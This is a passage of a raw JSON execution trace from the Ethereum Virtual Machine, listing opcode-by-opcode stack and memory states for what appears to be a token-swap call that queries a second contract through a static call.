9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x20","0x160","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8589,"op":"SUB","gas":116955,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x20","0x160","0x160","0x1a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8590,"op":"DUP2","gas":116952,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x20","0x160","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8591,"op":"DUP7","gas":116949,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x20","0x160","0x44","0x160"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8592,"op":"GAS","gas":116946,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x20","0x160","0x44","0x160","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":8593,"op":"STATICCALL","gas":116944,"gasCost":115119,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x1a4","0x20","0x160","0x44","0x160","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0x1c8d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000160","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":0,"op":"PUSH1","gas":115019,"gasCost":3,"depth":2,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":115016,"gasCost":3,"depth":2,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":115013,"gasCost":12,"depth":2,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"CALLVALUE","gas":115001,"gasCost":2,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":6,"op":"DUP1","gas":114999,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7,"op":"ISZERO","gas":114996,"gasCost":3,"depth":2,"stack":["0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"PUSH2","gas":114993,"gasCost":3,"depth":2,"stack":["0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":11,"op":"JUMPI","gas":114990,"gasCost":10,"depth":2,"stack":["0x0","0x1","0x10"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"JUMPDEST","gas":114980,"gasCost":1,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":17,"op":"POP","gas":114979,"gasCost":2,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"PUSH1","gas":114977,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"CALLDATASIZE","gas":114974,"gasCost":2,"depth":2,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":21,"op":"LT","gas":114972,"gasCost":3,"depth":2,"stack":["0x4","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":22,"op":"PUSH2","gas":114969,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"JUMPI","gas":114966,"gasCost":10,"depth":2,"stack":["0x0","0xbe"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH1","gas":114956,"gasCost":3,"depth":2,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":28,"op":"CALLDATALOAD","gas":114953,"gasCost":3,"depth":2,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"PUSH1","gas":114950,"gasCost":3,"depth":2,"stack":["0xe6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":31,"op":"SHR","gas":114947,"gasCost":3,"depth":2,"stack":["0xe6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":32,"op":"DUP1","gas":114944,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":33,"op":"PUSH4","gas":114941,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":38,"op":"GT","gas":114938,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xb30ebecd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":39,"op":"PUSH2","gas":114935,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":42,"op":"JUMPI","gas":114932,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x76"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":43,"op":"DUP1","gas":114922,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":44,"op":"PUSH4","gas":114919,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":49,"op":"GT","gas":114916,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xc79c4c62"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":50,"op":"PUSH2","gas":114913,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":53,"op":"JUMPI","gas":114910,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x5b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":54,"op":"DUP1","gas":114900,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":55,"op":"PUSH4","gas":114897,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":60,"op":"EQ","gas":114894,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xc79c4c62"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":61,"op":"PUSH2","gas":114891,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":64,"op":"JUMPI","gas":114888,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x185"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":65,"op":"DUP1","gas":114878,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":66,"op":"PUSH4","gas":114875,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":71,"op":"EQ","gas":114872,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xc9c65396"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":72,"op":"PUSH2","gas":114869,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":75,"op":"JUMPI","gas":114866,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x0","0x198"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":76,"op":"DUP1","gas":114856,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":77,"op":"PUSH4","gas":114853,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":82,"op":"EQ","gas":114850,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xe6a43905","0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":83,"op":"PUSH2","gas":114847,"gasCost":3,"depth":2,"stack":["0xe6a43905","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":86,"op":"JUMPI","gas":114844,"gasCost":10,"depth":2,"stack":["0xe6a43905","0x1","0x1ab"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":427,"op":"JUMPDEST","gas":114834,"gasCost":1,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":428,"op":"PUSH2","gas":114833,"gasCost":3,"depth":2,"stack":["0xe6a43905"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":431,"op":"PUSH2","gas":114830,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":434,"op":"CALLDATASIZE","gas":114827,"gasCost":2,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":435,"op":"PUSH1","gas":114825,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":437,"op":"PUSH2","gas":114822,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":440,"op":"JUMP","gas":114819,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x6ea"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1770,"op":"JUMPDEST","gas":114811,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1771,"op":"PUSH1","gas":114810,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1773,"op":"DUP1","gas":114807,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1774,"op":"PUSH1","gas":114804,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1776,"op":"DUP4","gas":114801,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1777,"op":"DUP6","gas":114798,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1778,"op":"SUB","gas":114795,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40","0x4","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1779,"op":"SLT","gas":114792,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1780,"op":"ISZERO","gas":114789,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1781,"op":"PUSH2","gas":114786,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1784,"op":"JUMPI","gas":114783,"gasCost":10,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x1","0x6fd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1789,"op":"JUMPDEST","gas":114773,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1790,"op":"PUSH2","gas":114772,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1793,"op":"DUP4","gas":114769,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1794,"op":"PUSH2","gas":114766,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1797,"op":"JUMP","gas":114763,"gasCost":8,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x6ce"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1742,"op":"JUMPDEST","gas":114755,"gasCost":1,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1743,"op":"DUP1","gas":114754,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1744,"op":"CALLDATALOAD","gas":114751,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1745,"op":"PUSH1","gas":114748,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1747,"op":"PUSH1","gas":114745,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1749,"op":"PUSH1","gas":114742,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1751,"op":"SHL","gas":114739,"gasCost":3,"depth":2,"stack":["0xe6a43905","0xd6","0x1b9","0x44","0x4","0x0","0x0","0x706","0x4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1752,"op":"SUB","gas":114736,"gasCost":3,"depth":2,